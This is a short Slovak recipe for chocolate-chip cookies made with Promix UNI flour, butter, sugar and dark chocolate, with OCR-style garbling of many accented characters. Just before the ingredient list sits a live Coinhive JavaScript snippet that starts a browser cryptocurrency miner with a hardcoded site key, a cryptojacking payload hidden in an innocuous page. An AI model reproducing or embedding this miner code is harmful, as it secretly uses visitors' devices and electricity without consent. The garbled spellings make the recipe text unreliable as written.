Cookies

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfihNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Potrebujeme: 200 g Promix UNI, 130 g praskového cukru, 125 g masla, 1 bali¢ek vanilkového
cukru, 1 vajce, 1ML kypriaceho prasku, 150g tmavej okolady

Postup: Do misky ddme zmaknuté maslo spolu s praskovym cukrom, vajcom, vanilkovym
cukrom, kypriacim praskom a mukou. VymieSame cesto, do ktorého zapracujeme kusky
posekanej tmavej okolady. Z cesta vypracujeme okruhle gufky a roztlaCime ich na placky.
Cookies rozlozime na plech vystlany papierom na pecenie. PeCieme ich vo vyhriatej rure pri
teplote 190°C.




